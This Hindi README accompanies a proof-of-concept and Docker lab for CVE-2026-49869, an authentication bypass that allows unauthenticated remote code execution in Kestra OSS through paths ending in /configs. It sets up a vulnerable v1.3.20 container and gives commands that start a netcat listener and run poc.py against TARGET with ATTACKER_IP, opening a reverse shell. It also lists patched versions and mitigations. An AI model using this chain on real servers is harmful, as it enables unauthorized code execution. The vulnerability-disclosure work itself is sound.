
CVE-2026-49869 के लिए PoC और Docker लैब, जो Kestra OSS में AuthenticationFilter पथ बायपास के माध्यम से एक अनधिकृत RCE है जो फ्लो निर्माण और कमांड निष्पादन की अनुमति देता है।
★Kestra OSS AuthenticationFilter में ऑथेंटिकेशन बायपास के लिए PoC और Docker लैब★
इस लैब को केवल उन सिस्टम पर चलाएँ जिन्हें आप नियंत्रित करते हैं।
-p 8080:8080उदाहरण कमज़ोर API को सभी होस्ट इंटरफ़ेस पर प्रकाशित कर सकता है; अन्य नेटवर्क से पहुँच को अवरुद्ध करें।
https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865
Kestra अपने API की सुरक्षा के लिए Basic Auth का उपयोग करता है। प्रभावित OSS संस्करणों में, AuthenticationFilter किसी भी अनुरोध पथ को जो /configs पर समाप्त होता है, एक सार्वजनिक कॉन्फ़िगरेशन एंडपॉइंट मानता है। इसलिए एक अनधिकृत क्लाइंट configs नाम का फ़्लो बना सकता है और फिर उसे उन API पथों के माध्यम से निष्पादित कर सकता है जो /configs पर समाप्त होते हैं। उस फ़्लो में एक शेल टास्क Kestra वर्कर कंटेनर में कमांड निष्पादित कर सकता है। दोष और RCE श्रृंखला का वर्णन Kestra सुरक्षा सलाह में किया गया है।
| Kestra OSS शाखा | कमज़ोर संस्करण | पहला पैच किया गया संस्करण |
|---|---|---|
| 1.0.x और पहले | 1.0.45 से पहले | 1.0.45 |
| 1.1.x–1.3.x | 1.1.0 से 1.3.20 तक | 1.3.21 |
लैब v1.3.20 का उपयोग करती है जिसमें OSS Basic Auth सक्षम है। यह समस्या इस ऑथेंटिकेशन पथ को प्रभावित करती है जब Kestra API पहुँच योग्य हो; स्थानीय इमेज kestra/kestra:v1.3.20 पर आधारित है।
/configs पर समाप्त होता है; सलाह में वर्कफ़्लो टेम्पलेट के माध्यम से SSRF का भी वर्णन किया गया है।कंटेनर विशेषाधिकार होस्ट विशेषाधिकारों को नहीं दर्शाते।
रिपॉज़िटरी में इस README के साथ Dockerfile, entrypoint.sh, और poc.py होना चाहिए। लक्ष्य को चलाने के लिए Docker आवश्यक है; PoC के लिए Python 3 आवश्यक है। किसी Python पैकेज को इंस्टॉल करने की आवश्यकता नहीं है।
docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab
entrypoint.sh एक लैब-केवल खाते के साथ Basic Auth सक्षम करता है:
| उपयोगकर्ता नाम | पासवर्ड |
|---|---|
[email protected] | Eqst123! |
Kestra को ईमेल-आकार का उपयोगकर्ता नाम और कम से कम आठ वर्णों वाला पासवर्ड चाहिए, जिसमें अपरकेस और लोअरकेस अक्षर तथा एक अंक हो। ये क्रेडेंशियल केवल स्थानीय परीक्षण के लिए प्रकाशित किए गए हैं।
प्रतीक्षा करें जब तक कि पहला अनुरोध 200 लौटाए। दूसरा अनुरोध 401 लौटाना चाहिए, जो दर्शाता है कि Basic Auth एक सामान्य API पथ की सुरक्षा करता है:
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs
यदि किसी रुके हुए कंटेनर का नाम पहले से वही है, तो उसे पुनः उपयोग करने के लिए docker start cve-2026-49869-lab का उपयोग करें, या docker run के साथ नया बनाने से पहले उस कंटेनर को हटा दें।
स्क्रिप्ट बिना क्रेडेंशियल के दो अनुरोध भेजती है: एक शेल टास्क के साथ configs/configs बनाती या अपडेट करती है, और अगली उसका निष्पादन शुरू करती है। किसी मौजूदा उपयोगकर्ता-निर्मित फ़्लो की आवश्यकता नहीं है। स्क्रिप्ट को दोबारा चलाने पर लैब फ़्लो को उसी नाम से बदल देती है।
पहले, शेल कनेक्शन प्राप्त करने वाली मशीन पर एक लिसनर शुरू करें:
nc -lvnp LISTENER_PORT
फिर poc.py वाली डायरेक्टरी से PoC चलाएँ:
python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT
उसी मशीन पर Docker लैब के लिए, TARGET को 127.0.0.1 से बदलें। ATTACKER_IP को उस IPv4 पते पर सेट करें जिस तक कंटेनर पहुँच सकता है; स्क्रिप्ट लिसनर शुरू नहीं करती। स्क्रिप्ट निष्पादन प्रतिक्रिया प्रिंट करती है, जिसमें एक execution ID भी शामिल है। रिवर्स शेल स्वयं काम कर गया, यह पुष्टि करने के लिए लिसनर पर एक कनेक्शन आवश्यक है।
रिकॉर्ड किए गए स्थानीय परीक्षण में ऑथेंटिकेशन बायपास और वर्कफ़्लो निष्पादन को सत्यापित करने के लिए एक हानिरहित Log टास्क का उपयोग किया गया। इसने रिवर्स शेल पेलोड नहीं चलाया।
| जाँच | v1.3.20 | v1.3.21 |
|---|---|---|
| सामान्य संरक्षित API, बिना क्रेडेंशियल | 401 | 401 |
configs फ़्लो बनाएँ, बिना क्रेडेंशियल | 200 | 401 |
configs निष्पादन शुरू करें, बिना क्रेडेंशियल | 200 | 401 |
| कमज़ोर संस्करण पर हानिरहित टास्क | SUCCESS, लॉग में मार्कर | — |
रिवर्स शेल कॉलबैक इन रिकॉर्ड किए गए परिणामों का हिस्सा नहीं है।
1.0.x शाखा पर कम से कम 1.0.45 या 1.1.x–1.3.x शाखाओं पर 1.3.21 में अपग्रेड करें। अपस्ट्रीम फिक्स पथ को सामान्य करता है और हर /configs सफ़िक्स को स्वीकार करने के बजाय सटीक सार्वजनिक कॉन्फ़िगरेशन रूट की जाँच करता है। जब तक अपग्रेड पूरा न हो, Kestra API तक पहुँच को प्रतिबंधित करें और प्रॉक्सी पर केवल इच्छित सार्वजनिक रूट तक अनधिकृत पहुँच की अनुमति दें।
docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab